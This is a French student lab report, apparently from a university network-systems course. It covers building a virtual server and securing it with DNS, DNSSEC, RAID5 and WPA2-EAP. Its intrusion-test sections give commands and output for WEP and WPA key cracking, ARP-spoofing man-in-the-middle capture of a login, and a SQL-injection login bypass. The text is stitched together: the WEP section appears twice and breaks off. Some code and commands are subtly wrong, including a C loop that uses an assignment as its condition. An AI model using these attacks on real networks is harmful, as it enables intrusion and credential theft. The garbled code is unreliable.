Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-15T14:01:46Z

Lchenu : /* Configuration de la VM */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
